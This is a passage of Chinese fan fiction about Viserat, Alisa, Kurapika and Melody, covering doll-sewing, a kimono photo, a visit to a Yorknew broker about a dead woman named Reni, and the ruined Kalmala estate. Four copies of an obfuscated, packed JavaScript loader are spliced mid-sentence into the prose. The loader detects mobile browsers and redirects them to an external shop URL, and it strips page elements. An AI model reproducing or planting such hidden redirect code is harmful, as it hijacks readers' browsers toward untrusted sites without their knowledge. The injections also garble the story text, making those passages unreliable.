但妮翁在做娃娃这件事倒是今天才知道的。貌似是无事可做也无需占卜的日子对于妮翁·诺斯拉来说实在是太无聊了,虽然也很想学习一点强身健体的技能,但家里的其他人都忙得不行,无暇满足妮翁的这点需求,只能退而求其次地拿起针线,找到了这个新的打发时间的活动。 很不好意思地说,她的进度相当之慢,一直到她去世为止,娃娃也只是做了一个躯干而已——可以说是和没动工没什么区别了。 “我需要把画在布料上的形状剪裁出来,是吗?”维瑟拉特确认着自己的工作。 “是的。如果你擅长缝纫的话,也可以帮我缝人偶娃娃的衣服。” “缝纫……” 维瑟拉特认真地评估了一下这份差事的可能性,又盯着亚里砂捏着的这根上下翻飞的银针,想来想去还是觉得不太行。 “感觉刺到手会很疼。抱歉,亚里砂,我现在很怕疼。”她坦白地说,“但要是你需要我的帮忙,我会努力的。” “不用这么勉强自己啦。”她过分认真甚至颇具信念感的表情让亚里砂忍不住笑起来,“我也不希望你受伤。” “好。” 一如既往,亚里砂相当体谅人。 裁剪布料实在是相当轻松的工作,剪刀这东西用起来其实和匕首也没什么区别,落在维瑟拉特的手中就会变得足够灵活。只忙活了一会儿,她就闲下来了,坐在亚里砂旁边,看她把平面的布料缝制成立体的存在,不那么有趣甚至还让人犯困,但因为身边的是亚里砂,又觉得这样的时间也是惬意的。 “要是觉得困了,靠在我的身上也没关系。”察觉到她的脑袋已经开始晃荡不停,亚里砂主动地这么说了。 维瑟拉特感觉自己稍稍清醒了一点,“可以吗?” “可以的。” “……谢谢。” 轻轻地,维瑟拉特把脑袋搁在亚里砂的肩膀上。能嗅到她衣服上的香气,柔软的发丝也摩挲着维瑟拉特的后颈,却很安心,似乎也很熟悉。 不是曾枕在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177989|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人肩膀上的熟悉,而是有什么人曾对她做过这样的事的似曾相识感。这下维瑟拉特是真的要犯困了。 尽管在亚里砂的旁边,睡着也没关系,可维瑟拉特不想这么做。还是说点话让自己清醒一些吧。 “除了布娃娃,你还给妮翁准备了别的什么吗?” “也准备没有太多,就是一些她以前买了却没来得及穿的衣服、喜欢的首饰、看过好多次的书,大概这些吧。” “史库瓦拉那时候呢?” “史库瓦拉呀……” 亚里砂垂下手,杂乱未缝合的布料落在膝头,皱成一团,还好很快就被她拿起来了。她轻轻地笑了一下,看起来更像是苦笑。 “那时候,我还沉浸在自己的伤心里,完全忘记亡灵归来的传统了,反应过来的时候已经是第五十天,什么都没来得及准备。他回来的时候一定觉得很生气。” “不会吧。” 代入到死者的角色去想,维瑟拉特觉得自己只会感激在乎的人依然好好地活着,一定不会为了自己无法将什么东西带去死者的世界而伤心。死人还要伤心,太小气了。 “嗯。可能吧。对了,说起来。”亚里砂生硬地换了个话题,“我最近在找新工作了。” “哦……嗯?”维瑟拉特迟钝了片刻才反应过来,“你要离开诺斯拉家了吗?” 亚里砂轻轻地点了下头,声音也轻柔,听不出太多的起伏,很平静地对她说:“妮翁小姐去世之后,我们这些原本负责照顾她的人就算是过剩的人员了嘛,毕竟这个家大概也不会增加更多的需要照料的人,就算不找新工作,也得开始考虑日后的出入了。” “哦……” 维瑟拉特可以理解她的话语,也明白她的意思。但是…… “为什么露出了这么伤心的表情呢,维瑟拉特?” 她露出了伤心的表情吗?维瑟拉特一点也感觉不到。她反倒觉得,这么说着的亚里砂,明明也是一副很难过的样子。 “没事啦,就算去了别的地方,我们还是朋友,不是吗?”亚里砂安慰着她,也可能是在宽慰自己,“我们还是能够想去遛狗就去遛狗的。” “史库瓦拉的狗,你会带走吗?” “会吧,如果酷拉先生允许的话。” “他应该会允许的。”维瑟拉特低下头,让垂下的发丝遮挡住面孔,声音很不自在地变得好轻,“我没有很伤心,只是挺意外……亚里砂,祝你能够找到好工作。” “好。借你吉言。” 亚里砂扯断手上的线,难过的话题感觉也能一下子结束了。缝纫工作进行到这一步,娃娃的形状已经差不多出来了。她特地给这个小家伙缝了一头浓密的毛线头发,为此不得不稍微苦恼一下给编怎样的发型了。 “不如梳个和你一样的发型吧。”她玩笑似的说。 维瑟拉特倒是没意见,点点头,很随性地答应了。 “说起来,你总是梳这个发型呢。”亚里砂轻轻抚摸着她束起的纤细发丝,“看起来真的很可爱。是你自己想到要这么打理头发吗?” “不……大概不是。” 亚里砂的话语很耳熟,维瑟拉特想起芭蕉以前也给过差不多的评价。 还有更久之前,为她束起了长发的人,也曾这么说过。 62.旧镜子x评价x小小请求 摆在小桌子上的一面陈旧的镜子,擦得不算太干净,并且也没办法擦得更干净了,镜面还残留着上一次擦拭时留下的水渍,混入灰尘之后,显得非常像是斑驳的印记。 有什么人推着她坐到这面镜子前,拢起她深红色的长发。能嗅到那人指尖上尼古丁的气味,以及花果香的香水气息,甜腻的感觉,并不让人讨厌。 看呐,这样多可爱。那人很得意地说。这才像是十几岁的小姑娘嘛,对不对。 捉摸不透的回忆。 维瑟拉特不觉得自己是真的想起了什么,久远的话语模糊地传来,只是一闪而过的影子,并非真切连续的回忆。她看到的图景丝毫算不上清晰,听到的话语也过分虚浮,就像是那种一旦投去目光就会立刻消失无踪的某种存在那样捉摸不透。 真是……踏炎。 “你还好吗,维瑟拉特?” 忽然听了到亚里砂的声音。 维瑟拉特不自然地回过神来,飞走的意识统统被拽回诺斯拉家的这个房间里。她茫然地眨了几下眼,发出“嗯?”的困惑一声。 听到亚里砂问:“你刚才是不是发呆了?” “是吧。”维瑟拉特抓了抓脑袋,不打算否认这件事,“我在想事情……想到了一丁点以前的事情。” 亚里砂笑起来,替她高兴,“这不是很好嘛!你想起什么了?” “帮我梳了这个发型的人就是教会我抽烟的人。” “这样啊……”亚里砂眨了眨眼,大概是在心里评估着这段短暂记忆吧,“那是个好人吗?” 是不是好人?唔…… 维瑟拉特花了点时间,试着挖掘更深的回忆,可却想不到更多了,她只能根据现在知道这部分内容给出评价。 “非要说的话,应该是个好人。”她垂下手,轻轻按在心口,“想到她的时候,我会觉得心脏很难受。” 心脏会作痛,这是回忆的某人带着会让她苦涩的心情的证明。她从没有对什么糟糕的家伙有过这样的感觉。 亚里砂没有说什么,只是轻轻抚摸着她的发丝。 “如果能想起来就好了,对吧?”她小声说。 维瑟拉特不置可否,“是吧。” “如果我给你换一个发型,你觉得她会生气吗?” “不会吧……我感觉不会。” “那就好。” 亚里砂笑起来,拢起她的长发,动作好轻柔,完全没有拉扯的感觉。可能正是因为如此,维瑟拉特的思绪才不受控制地再次飘走了。 她的思维真的越来越活跃了,在这种时候都能胡思乱想。但此刻并不是质问自己的思绪为何要这么发散的时候。她只是在想,刚才自己回应的那句“我觉得不会”说得实在是太果断了。 说不定为她束起发丝的那个女人会介意呢?说不定那人知道了之后会很生气呢?自己怎么就能这么笃定地给出“她不会生气”的结论呢? 笃定的结论只可能对应两种可能性。要么是维瑟拉特真的很懂那个女人,知道那人不会冒出气恼的情绪,或者就是那人再也没办法生气了。 前者的概率很低。维瑟拉特从不觉得自己能够理解什么人——就连酷拉皮卡,直到今天她也并不是那么懂他,对于亚里砂也是一样。但如果是后者……嗯,这个可能性暂时就先不要去考虑了吧。 “好啦。” 恰是在维瑟拉特决定把发散的思绪全部收回来的时候,亚里砂拍着她的肩膀这么说。她适时地抬起眼眸,看到了镜子里的自己。 亚里砂把她碍事的刘海(说着要去理发结果到了今天维瑟拉特都还没有动身但这种过分懈怠且扫兴的事情还是不要在这时候提及了)编成三股辨,绕到耳后,辫子的末尾藏进了脑后的编发里。可惜人看不到自己的后脑勺,否则她一定会惊讶于亚里砂居然能把平平无奇的发丝绞成如此精致的模样——当然,现在已经足够精致了。 “头发全部编起来之后看着真的很清爽吧,和平常是完全不一样的感觉了。”亚里砂一边说着,一边把垂着紫藤花的发卡别进她的发间,目光认真地上下打量她,忽然像是意识到了什么,激动地合拢手掌,“难怪我总觉得发型很漂亮,却有些不协调呢,肯定是因为你今天的衣服和这个发型不太搭啦!” “……不搭吗?”维瑟拉特小心翼翼地问。 她觉得自己今天没有穿什么奇怪的衣服,就是一如既往的毛衣、高领速干紧身衣和长裤,可能和漂亮或是时尚搭不上边,但也不算太糟吧? 亚里砂笑眯眯地打开衣柜,拿出好长一件被防尘袋罩住的衣服,“换上和服的话就很相衬啦,穿上试试看吧!” 好像变成某种换装游戏了,不过亚里砂看起来真的好开心,维瑟拉特可没办法说过半点扫兴的话。 况且……维瑟拉特也觉得自己不抗拒这种事。 和服繁杂难穿,绝不是初学者可以轻松处理的问题。维瑟拉特乖乖站着,任由亚里砂用厚重的布料把自己裹起来,肋骨被紧紧箍住,呼吸都显得艰难了一点。原来亚里砂每天都穿着这样的衣服工作吗?真是太伟大了。希望她的新工作可以允许她自由地选择想穿的衣服。 “完成啦!” 感觉亚里砂好高兴,一直在笑着,就连推着她走向全身镜的时候都是一副心情大好的样子。 “很好看吧!” 该怎样评价“好看”呢?维瑟拉特心里暂时还缺失着对于这个词汇的评价标准,她只是觉得镜子里的那个人不那么像是自己了,发型和服饰全都不。可她不觉得这多么违和,也不觉得格格不入。说不定这意味着她喜欢眼前的自己吧? 她小声地和亚里砂说谢谢,她当然完全不觉得这是需要被感谢的事情。 “拍张照片留念吧,好不好?”亚里砂说出这话的时候已经迫不及待地举起手机了,“多难得的机会。” 维瑟拉特不自在地摸了摸耳朵,面对着亚里砂如此热切的表情,实在是说不出拒绝,但点头的幅度还是显得有些太微弱了。 咔嚓——今天的维瑟拉特被捕捉进相片里了。 “正好也发给酷拉先生看看吧。”亚里砂说出这话的时候已经按下发送键了。 “哦……啊?” 维瑟拉特的五感瞬间被提起来了,迈着大步朝亚里砂冲过去。可惜和服太紧绷,连脚步也一起束缚住了。正是因为她的第一步无法迈开,这才顺带着打破了整个身体的平衡,害得接下来前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183749|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进的步伐全都是只能是踉跄的小碎步,她可以说是相当狼狈地才终于来到亚里砂面前。 “你刚才说什么?”她真担心自己刚才是不是听错了亚里砂的话,“什么东西发给谁看?” “照片发给酷拉先生看。” 维瑟拉特的头发都要竖起来了,真该庆幸亚里砂已经把她的头发紧紧编织在了一起。 “为什么?”维瑟拉特努力不让自己的提问听起来像是质问,“呃……你的动机是?” 亚里砂笑得神秘兮兮,意味不明,话语倒是很实际,“因为你和酷拉先生关系很好,我觉得他也应该看一看你不同的样子。朋友之间都是这样的哟。” “……朋友之间都是这样的?” “嗯,是哦。哎呀,他的回信来得好快。” 维瑟拉特的警惕心陡然提起——酷拉皮卡发来回信的这件事居然比亚里砂将自己的照片发给了酷拉皮卡更加让她觉得提心吊胆。她下意识地想要问出“他说了什么”,可话语到了嘴边却被卡住,完全问不出口。 想要知道酷拉皮卡的想法,却又有点担心那不会是自己希望知道的结果。这种犹犹豫豫的感觉真糟糕,她可不喜欢这样。 “酷拉先生夸你了哟。”不知道是不是看穿了她的心情,亚里砂主动把手机举到她的面前,“你看,他是这么说的。” 维瑟拉特赶紧别开脑袋,“别了别了还是不看了吧……” 知道他说的不是自己不想听的内容就足够了。在此之上的更多内容,她实在没有勇气窥探。 也是因为这条消息作祟,明明维瑟拉特有事想要和他说,却硬生生憋了好几天才去找他,目的就是为了用时间冲淡那张照片给他留下的印象。 其实也用不着等待这么久的。无论再过多少天,酷拉皮卡都不会主动在她的面前提起照片的事情——他看到照片上她略显窘迫的害羞表情了。 撕掉整整七页的日历之后,维瑟拉特坚信自己留出了足够多的缓冲时间,而且她想说的事也真的有点按捺不住了。还是去找他吧。 当然,不能率先说出自己想说的事情(这是芭蕉最近教给她的“如何用老板进行交涉”的技巧之一),所以维瑟拉特会先问他:“最近是否有必须指派给我的工作?” 她会问出这话,酷拉皮卡真是一点都不觉得意外,只是总忍不住想,她在工作方面稍显高涨的热情倘若能够挪到其他事情上,该有多好。 想归想,说肯定不会说。回到她的询问上,酷拉皮卡稍稍想了想。 “应该,没有吧。” 自从兰格雷确认死亡之后,他已经基本把控住了局面,所以现状暂且还算太平,其他首领没有异动,诺斯拉家的生意进行得也还算顺利。希望这样的平稳状态能够维持得越久越好。 维瑟拉特了然般点点头,没怎么犹豫。寒暄说够了,是时候直接提出自己的需求:“我想要短暂地离开一段时间,大约一周或者更短。可以吗?” “没问题。”他完全没有冒出任何顾虑,“是有什么事情要做吗?” “是的。” 她呼出一口气,带着尼古丁的味道。 “我想去友克鑫黑市的便利屋了解一些事情。” 63.友克鑫x便利屋x文件夹 酷拉皮卡有点意外——不显著也不猛烈,这只是小小的一丁点意外感而已。 他不是惊讶于维瑟拉特主动提出了想要做点什么事情(现在已经不需要这种事而感到意外了),只是没想到她会说起友克鑫黑市的便利屋的事情。 酷拉皮卡对那个给钱就能完成一切的地方没有特别的好感,但那毕竟是维瑟拉特久久停留过的,所以也没办法彻底憎恶便利屋。她要去那里做什么?是想要回到那个地方去了吗?其实她一直都不喜欢诺斯拉家?又或者是别的其他理由? 他能想到的可能性都不是绝佳的原因,可是更多更靠谱的理由他也不怎么能想到,迟钝了片刻,最后还是没有说出自己的猜想,只试探性地询问了维瑟拉特为什么。 “因为,”维瑟拉特抓了抓脑袋,不怎么自然地拧着身子,想了想才说,“我一直在想那个教会我抽烟的女人的事情,可是想来想去都还是没能记起她的更多事情,只有一种隐约的‘她和我曾经一起在卡尔玛拉家工作’的印象,所以想去便利屋打听一下。” 维瑟拉特心里有数,即便是在(几乎)无所不能的便利屋,自己也不一定真的能够得到有用的讯息。可如果什么都不做,心中无知的空洞只愈发扩大,直到谁也不确定究竟会在某日不期而至的回忆把它填满。这样或许也不错,问题是她不喜欢坐着等待。 “我很快就会回来的。” 维瑟拉特觉得很有必要做出自己的保证,毕竟酷拉皮卡刚才一听到自己说要暂时离开,就不自觉摆出了很紧张兼很受伤的表情,明明她也没说什么伤人心的话——这种事,酷拉皮卡完全不知道。他毫无自觉。 好吧。好吧。可能他是下意识冒出了一点过度的保护欲没错,但在确信了她去便利屋的原因并非是讨厌诺斯拉家或是自己之后,这点无关紧要的忧虑就该消失无踪了。他点点头,打从一开始就没打算反对。 “你一个人去吗?”他顺便问道。 维瑟拉特想了想,问了一句仿佛无关紧要的话:“旋律最近会很忙吗?” “应该不会吧。你希望她和你一起去吗?” “嗯。”她点点头,小幅度的动作倒是显得很诚恳,“假如便利屋的人对我说谎了,或是藏着什么事情不想让我知道,我很容易就会被他们骗过去。但要是旋律在的话,就不用担心这种事了。旋律很厉害。” “这倒是。”酷拉皮卡笑起来,“像这种夸奖的话,下次不如可以直接说给她听。她会高兴的。” 酷拉皮卡怎么知道自己没有在旋律本人的面前说过“旋律很厉害”的?维瑟拉特有点意外,完全没想到是自己平常话不算太多的秉性作祟的结果。她只是有点在意酷拉皮卡的说辞。 “意思是,面对面地夸赞别人就能给对方带来喜悦吗?”她甚至把道理提炼出来了。 “是这样没错。” “哦……”她明白了,“那酷拉你也很厉害。我这么说你会高兴吗?” 酷拉皮卡笑起来——那种像是被逗笑一般,笑声猝不及防地就逃出来了。“嗯。”他可不会否认这一点,“我很高兴。” 可能正是因为他这么说了,所以维瑟拉特也扬了一下嘴角,悄声且迅速地走出了办公室。 维瑟拉特应该算是那种想到了什么就会立刻去做的行动派,去友克鑫的行程就定在和酷拉皮卡达成共识后的第二天,她和旋律一起去机场,顺利的话下周就会回来了。 原本还想叫上亚里砂一起,虽然这趟行程不算是出门玩,维瑟拉特也还是不那么想把亚里砂留在家里,但亚里砂却拒绝了。她说,还要为妮翁第四十九天的归来准备好东西,倘若离开了诺斯拉家,就又要错过这次的第四十九天了。 “也可能是不希望回想起史库瓦拉去世的事情吧。”在飞行艇上,旋律说出了更切实的可能性,“毕竟,那里是史库瓦拉去世的地方,总难免会触景伤情的。” “是嘛……” 维瑟拉特不想承认自己不那么懂如此刻骨铭心的爱,只能随意地应了两声,习惯性地摸出香烟,能感觉到旋律的视线正落在自己的手背上。 “你最近身体不舒服吗?”旋律问她。 维瑟拉特摇头,“没有。” 总觉得好像知道旋律为什么要这么问。维瑟拉特抬起手,掀开被衣袖盖住的、插在手腕侧旁的留置针。 “你是说这个吗?只是用来止痛的。” 她一边解释,一边摸出口袋里的镇痛泵。就在衣物藏住的留置针的上方,缠绕的输液管连接着一大袋强力止痛药,按下泵头,药剂会立刻流进身体里,抚平绝大部分的疼痛。 “我不喜欢疼痛。” 维瑟拉特坦白说。 “疼痛会让我害怕,也会让我变得太软弱,一味避免受伤还会害得我的行动受阻,所以打上了镇痛泵。”她说着,还晃了晃手,让袖子里的橡胶输液管碰撞出个楞个楞的细小声音,“这样我就不会再感觉到疼痛了。” “这样啊……”旋律明白了,“不过,对身体不会有影响吗?” “没有吧。家庭医生允许我这么做了。” 旋律小小地松了口气,“那就好。看,我们快到了。” 飞行艇逐渐迫近地面,穿过云层之后,就能看到友克鑫最热闹的市中心了,行人如渺小蚂蚁般从宽阔的多向路口前穿行而过,大楼上方的显示屏还在播放着某位歌手的新专辑宣传广告,方形绿色的公园是闹市区唯一静谧的场所,有人说这是友克鑫唯一的绿宝石。 便利屋当然不会在闹市区,也不毗邻绿宝石。维瑟拉特和旋律需要走远一点、再稍微远一点,驱车驶过白石大桥,来到柯布朗区的地界之中,再从地下通道走进去,拐上大概一百个弯之后,就能看到那扇写着“便利屋”的小门了。 敲两下,等十秒钟,门敞开小小的缝隙,露出一只不算太明亮的眼睛,还有沙哑的“有何贵干”。 以防万一,维瑟拉特先用鞋尖堵住门缝,“我有想要调查的事情。” 一般来说,对于客户的委托,便利屋是不会主动拒绝的——况且门缝都被她堵住了,想拒绝也没办法。干脆大方热情地敞开门,让她们走进来算了。 虽说便利店所在的位置有点乱七八糟,店铺内部倒是还算整洁,没有那种乱七八糟彰显品味的愚蠢装饰物,灯光也挺明亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188248|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。也是在走进店内之后,那个为她们开门的独眼男人才认出了维瑟拉特。 “原来是十三号啊。我当你被买下之后就已经死了呢。”他摆摆手,“你肯定忘掉我的名字了吧?用脚指头都能猜到。算了,省得你问我,我就先告诉你了吧。我是库克罗普斯。” “好。我确实不记得你叫什么了。” “没事,我一向不会为你糟糕的记忆力生气。”他把瘦小的身体往办公椅上一摆,压出吱呀的声响,“你回来干嘛,被退货了吗?退货的话那可很麻烦啊——你知道的,银行退款的手续很复杂,老大会不高兴的。杰斯特肯定也会生气,你不知道他当时为了把你卖出去费了多大劲。” “我没有被退货。我过来调查一点事情。” “调查事情?”他揉揉坏掉的那只眼睛,“哦,对,你刚敲门的时候也是这么说的。要查什么来着?顺便一提,调查也是要付钱的。” 不愧是一切服务都能量化为价值的便利屋,完全没有占到小便宜商谈的余地。还好维瑟拉特也无所谓钱包出血。 “我会付的。我想知道的是我被派驻到卡尔玛拉家工作的期间,同时在那个家里工作的某个人。是个女性,应该比我年长一些,没有大很多,会抽烟。然后……性格比较随性自在?” 这就是她知道的一切了,说出口之后才惊觉她对那人的认知少得可怜。 库克罗普斯“嗯嗯”地点着脑袋听她说话,在她说完之前心里就有点数了。 “你是在说蕾尼吧?” 维瑟拉特愣了愣,“蕾尼?” “抽烟的女人很少见嘛。而且你从卡尔玛拉家回来之后也开始抽烟了,我们问你是不是蕾尼教你的,你说差不多。” 库克罗普斯转身,打开后方柜子的锁,没怎么寻找就摸出了文件夹,棕黄色牛皮纸的封面上写着很漂亮的“蕾尼”的字样。 “还以为你要问的是什么很难搞的信息呢,既然只是蕾尼的事情,那也用不着向你收钱了。毕竟我也没有在这件事情上费劲。” “是嘛……” 自己怎么也想不起的事情,他人却轻松地给出了解答。她的大脑果真是糟透了。 关于蕾尼的生平就写在这几张纸上,翻开就能看到了。但那些平面的描述是真正的、她恍惚的记忆中捕捉到的那个身影吗?维瑟拉特不确信。她不自觉地按下了镇痛泵,流进血管里的止痛剂让她有点昏昏沉沉的。 她伸出手,指尖按在蕾尼的名字上。 “她是个怎样的人?” “蕾尼啊?”库克罗普斯眯起他的独眼,想了想说,“人挺有意思的,没工作安排的时候会坐在这里和我一起接待顾客,总的来说是个挺乐观的人吧。她在你去了卡尔玛拉家之后没多久也被派过去了,签了三年的长期合同。” “也是提供护卫服务吗?” “和你的工作不一样,她主要是提供性服务的。我记得有一回她打来电话,说需要停止合约,好像很不情愿的样子。老大劝说她打消了念头。” 库克罗普斯转动办公椅,吱呀吱呀吱呀。 “没过多久,她就死在卡尔玛拉家了。” 64.意料之中x水果挞x人祸 只存在于他人话语中唐突的死亡,与生命切实而突兀的死去并无区别。维瑟拉特并没有那么对库克罗普斯说出的事实感到惊讶或者意外,蕾尼不在世间的结局她早就意料到了,根本不惊讶。 嗯,一点也不,一丁点情绪都没有。 “我明白了。”甚至还能给出很平静地、仿若事不关己般的话语。 压在牛皮纸封面上的手终于动起来了,翻开第一页,印着蕾尼面容的照片映入视线,打理得很柔顺的长发垂在肩头,快门按下的那一秒捕捉到的是她笑脸盈盈的样子——不是那种过于自信的笑容,咧得大大的嘴角也见不到过分阳光明媚的秉性,很可能只是因为相机对准了她,所以才习惯性地露出了能够应付镜头的表情。 这张脸倒是和捕风捉影般的记忆中映出的面孔一样,但果然,就算是看到了蕾尼的脸,维瑟拉特还是不能想到什么。 她合拢了文件。除了这张脸之外,她没有让视线汲取到更多的讯息,怪她心里很清楚自己看到的会是某人的苦难史。不探寻苦难者的过去,可能才是对她而言最为需要的尊重吧。 “要回去了吗?” 看她开始扣外套的扣子,库克罗普斯就感觉到这久违的(且双方都不算那么情愿也完全算不上高兴的)会面即将结束,说不定今天就是他们最后一次见面了。倒也没必要为此感伤,和记不住名字的家伙可是很难当上朋友的。 维瑟拉特把长发从衣领下捧出来,点点头,没说什么,大概也不太乐意说句再见,藏在口袋里的手稍微摆了摆,勉强算是道别,这就走出了便利屋。此地可没有久留的必要。 重新回到地下街,大地之下特有的潮湿气味充斥鼻腔,黏糊糊的,让呼吸都显得不那么畅快了。 尽管如此,维瑟拉特还是深吸了一口气,抬起的步伐踏在台阶上,她回身去看旋律。 “请问,刚才的库克……”维瑟拉特盯着台阶,已经忘记那位独眼巨人的名字了,好在这只是无所谓的小小缺失,“他在说谎吗?” 还好她停住了脚步,旋律很快就能追上。“没有说谎的迹象。”她告诉维瑟拉特,“但是,感觉不到很多的悲伤,可能是因为蕾尼去世了太久,悲伤也被磨薄了吧。” “这样吗?” 原来悲伤是足够被时间磨灭的吗?维瑟拉特猜想自己的悲伤已经把彻底抹平了。 她摸出口袋里的照片,小小方块上的蕾尼在对她笑。 旋律凑过来,“你把照片偷出来了吗?” “嗯。” “我都没有注意到,难不成你很有经验?”旋律玩笑似的说。 维瑟拉特一歪脑袋,不置可否,“我很有天赋。而且,多看看她的脸,说不定就能更容易地想起她的事情了。” 这绝对是在为了自己的偷盗行为合理化的自圆其说,当然旋律完全不会为了她的行为而批判她。反正这只是无伤大雅的小小行为而已。不过—— “想要回忆起和蕾尼有关的事情,说不定也可以去卡尔玛拉家看看?” “哦。”维瑟拉特对旋律的提议有点意外,“可以去的吗?我们是私闯民宅,还是需要捏造一个借口?” 如果是私闯民宅,那维瑟拉特没有问题,甚至有点擅长。可如果需要捏造借口,她可能会觉得有点苦手,好在也不是完全做不到,只是需要一点时间进行准备而已。 “既不用私闯民宅,也不用捏造借口。”旋律宽慰她,“只要翻过防护围栏,谁都可以走进现在的卡尔玛拉家。” “哦……” 感谢她一贯靠谱的话语,维瑟拉特确实安心了很多,虽然她不那么明白旋律这话是什么意思,还好旋律察觉到了她这点异样的茫然,反问她是不是不知道卡尔玛拉家发生了什么事情,而她肯定会诚恳地摇头。 “那两年的事情我没什么印象。”维瑟拉特耸了耸肩,“除了被挖掉眼睛的经历之外。” 旋律都想发抖了,“真可怕……对你而言一定是很糟糕的回忆。” “算是吧。”肯定能被纳入脑袋再被打碎一百次都忘不掉的事情,但维瑟拉特觉得自己的事情不重要,眼下比较重要的是,,“卡尔玛拉家发生什么了?” “我最初是在报纸上看到了报道,说卡尔玛拉家的掌权人制造了金融犯罪,需要为此付出数以亿计的赔偿金,但他不愿意接受这种判决,拒付赔偿金,在半年的时间里一次又一次地上诉。还有传闻说当时友克鑫发生的好几起失踪案与卡尔玛拉家有关,怀疑是……维瑟拉特,你还在听我说话吗?” 听到旋律笑似的轻快声音,维瑟拉特猛得转过脑袋。她们刚好走到稍微繁华一点的商店街了,弥漫了整条街的面包香气勾人,所以忍不住一直盯着橱窗里的水果挞模型绝对不是她的错。 “我在听的。你刚才在说金融犯罪和反复上诉还有失踪事件。”维瑟拉特是个好学生,尽管友克鑫的大街不该是课堂,“这家店的水果挞看起来很好吃。你想吃吗?我想吃。” 话题转换得好快,却又很真切。旋律听到她的心跳声了,是充满期待的切实声响。 被这样的心跳声催促着,无论如何也没办法拒绝了吧。旋律笑着点头:“好呀。一起吃吧。” 说着便推开甜品店的门——她肯定比维瑟拉特还要行动派。 只要等待三分钟,水果挞就被送上了桌,维瑟拉特把叉子戳进新鲜草莓,把内里的挞心都按得溢了出来,看起来有点乱糟糟的,好在味道不错,就当只是自己太过笨手笨脚了吧。 说起来,笨手笨脚的事情,还不只是这一件呢。 “曼陀林的事情,谢谢你。”维瑟拉特很认真地看着旋律的眼睛,“谢谢你帮忙调好了音准。” 买下曼陀林的那天,她和酷拉皮卡在街上追逐打闹,然后摔了结结实实的一跤,当时以为曼陀林毫发无损,隔了几天拿出来再弹奏,才发现跑调到了天边,弦也全部松掉了。幸亏有旋律在,直接把曼陀林交给她就能解决所有问题了。 “一点力所能及的小事而已,不用谢我的。” “以后可能还会继续拜托你帮忙,但下次的谢谢我会等到下次再说。我们现在正在说卡尔玛拉家的事情,对吗?说到掌权者不停地上诉。”她接上刚才旋律没有说完的部分,“然后发生了什么?” “然后啊……” 旋律吃的是杏仁千层酥蛋糕,叉子压下去,脆皮被压得咔咔响。她就在着咔咔声作响的间隙中思考着,给出的答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192329|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复是“稍后再说吧”。 “在吃蛋糕的期间,我们只想着蛋糕的事情就好。聊到卡尔玛拉家的话,难免会有些倒胃口。” “这倒是。”维瑟拉特不否认这一点。 虽然她在吃水果挞的时候也不只思考着水果挞的事情,而是在想诺斯拉家有谁也喜欢水果挞。酷拉皮卡会喜欢吗? 尽管第一个想到的就是他,可实际上维瑟拉特并不知道他中意的口味。不过亚里砂一定喜欢就是了,回去的时候打包一份给她带上吧,希望自己别把这件事忘掉了。 吃完甜点,把不加糖的冰咖啡一饮而尽,旋律还是没接着说卡尔玛拉家的事情,维瑟拉特也不急着问,只是根据她的指引,驱车驶向友克鑫市郊的上西森林,漂亮精致且绝对昂贵的庄园逐渐从车窗的一侧展露其型。 以前似乎曾行驶在这条路上,只是记忆没有因为这种似曾相识的熟悉感而浮现。 我们要开到哪里?维瑟拉特还没问过旋律。倘若继续向前,她们就要驶出森林了。维瑟拉特觉得是时候丢出询问了,而那栋漆黑的房子恰好是在她动唇的同时出现在眼前的。 说它是漆黑的房子,是因为它只能这么形容。甚至称其为“房子”都算勉强。 这里只是被烧尽的断壁残垣而已,铁制的栏杆围住了附近,防守力却低得可怜,她和旋律只需要撑着栏杆的边缘,轻轻跳一下,就能走进直到今天还隶属于卡尔玛拉的这片土地了。 “在多次的上诉失败之后,卡尔玛拉家还是被迫支付了巨额的赔偿金,直接导致财富缩水,在再之后的几个月里彻底破产。” 旋律终于继续说下去了。 